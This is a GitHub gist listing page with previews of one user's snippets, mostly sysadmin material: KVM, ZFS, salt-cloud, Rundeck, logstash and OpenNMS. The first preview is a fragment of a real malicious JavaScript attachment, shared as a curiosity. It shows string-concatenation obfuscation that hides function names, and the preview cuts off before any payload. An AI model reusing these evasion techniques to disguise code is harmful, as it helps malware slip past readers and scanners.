Skip to content

Instantly share code, notes, and snippets.

Umberto Nicoletti unicolet

Block or report user

Report or block unicolet

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
unicolet / malware.js
Created Apr 4, 2016
Received this in a zip attachment. Just look at all that evasion text.
View malware.js
dnWuANlWi = "} An object can be passed to instead of a key/value pair; this gets shallow copied over onto the existing cache if ( typeof name === \"object\" || typeof name === \"function\" ) { if ( pvt ) { cache[ id ] = jQuery.extend( cache[ id ], name ); } else { cache[ id ].data = jQuery.extend( cache[ id ].data, name ); } ";
var enter = 0;
var enter1 = 7*2*7 + enter;
nixon = String[("context","approve","referrals","accrue","f")+("productivity","rolled","executed","ro")+"mC"+"ha"+("fossil","yorkshire","disrespect","explicitly","rC")+"ode"]( enter1);
var enter2 = 3/3;
String.prototype.borax = function () {
var catalogues = {
repel: this
catalogues.beach = catalogues.repel[("s"+("driver","legendary","teutonic","fought","uZ")+"st"+("achieved","cNkHLjlL","misleading","flinch","ring")).replace("Z", nixon)](enter, enter2);
unicolet /
Last active Jan 10, 2016
A one-liner to create a new KVM guest, including guest agent support
virt-install --name "guest01" --memory 2048
-l http://your.ris.server/ris/centos71
-x "ks=http://your.ris.server/ris/ks.cfg console=ttyS0"
--disk size=8,pool=your_pool,bus=virtio,format=qcow2
-w default
--graphics vnc
--channel unix,mode=bind,path=/var/lib/libvirt/qemu/guest01.agent,target_type=virtio,name=org.qemu.guest_agent.0
unicolet / itank-pool.service
Created Dec 22, 2015
How to automatically import a ZFS pool built on top of iSCSI devices with systemd
View itank-pool.service
ExecStart=/usr/sbin/zpool import itank
ExecStartPost=/usr/bin/logger "started ZFS pool itank"
unicolet /
Created Dec 13, 2015
salt-cloud linode patch
--- /usr/lib/python2.7/site-packages/salt/cloud/clouds/ 2015-12-12 16:32:49.860428104 +0100
+++ /usr/lib/python2.7/site-packages/salt/cloud/clouds/ 2015-12-12 17:09:37.384331055 +0100
@@ -537,6 +537,18 @@
'disk_size', vm_, __opts__, default=disksize - swap
+ def get_data_disk_size(vm_, size, swap):
+ '''
+ Return the size of of the data disk in MB
+ '''
unicolet / gist:1ffae057003c1c0e0cef
Created Jun 25, 2015
camel-elasticsearch error in osgi
View gist:1ffae057003c1c0e0cef
opennms> features:install opennms-elasticsearch-event-forwarder
ERROR: Bundle org.opennms.features.elasticsearch.event-forwarder [184] EventDispatcher: Error during dispatch. (java.lang.NoClassDefFoundError: org/apache/lucene/store/IndexInput)
java.lang.NoClassDefFoundError: org/apache/lucene/store/IndexInput
at java.lang.ClassLoader.defineClass1(Native Method)
at java.lang.ClassLoader.defineClass(
at org.apache.felix.framework.BundleWiringImpl$BundleClassLoader.findClass(
at org.apache.felix.framework.BundleWiringImpl.findClassOrResourceByDelegation(
at org.apache.felix.framework.BundleWiringImpl.access$400(
at org.apache.felix.framework.BundleWiringImpl$BundleClassLoader.loadClass(
at java.lang.ClassLoader.loadClass(
View RepeatingActivity.drl
package org.opennms.netmgt.correlation.drools;
import java.util.Date;
import java.util.Calendar;
import org.opennms.netmgt.correlation.drools.DroolsCorrelationEngine;
import org.opennms.netmgt.xml.event.Event;
import org.opennms.netmgt.xml.event.Parms;
import org.opennms.netmgt.xml.event.Parm;
import org.opennms.netmgt.xml.event.Value;
unicolet /
Created Apr 8, 2015
Shell script to purge Rundeck execution history
# setup ~/.pgpass to allow passwordless connection to postgres
# keep last 30 executions for each job
cd /var/lib/rundeck/logs/rundeck
JOBS=`find . -maxdepth 3 -path "*/job/*" -type d`
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.validation.constraints.NotNull;
import org.jasig.cas.CentralAuthenticationService;
import org.jasig.cas.Message;
import org.jasig.cas.authentication.AuthenticationException;
View camel_elastisearch_mapping.xml
starts first, then stops. All other routes start after this one has completed
Same as: curl -XPUT http://localhost:9200/_template/opennms -d @elmapping.json
<route id="elastisearchTemplateMapping" autoStartup="true" startupOrder="1">
<from uri="timer://runOnce?repeatCount=1&amp;delay=0"/>
<setHeader headerName="CamelHttpMethod">
<setHeader headerName="CamelContentType">
unicolet / logstash.conf
Last active Aug 29, 2015
logstash conf for apache log files
View logstash.conf
input {
file {
type => "accesslog"
path => [ "/var/log/access_logs/access_log" ]
filter {
grok {
match => { "message" => "%{EXTENDEDAPACHELOG}" }
You can’t perform that action at this time.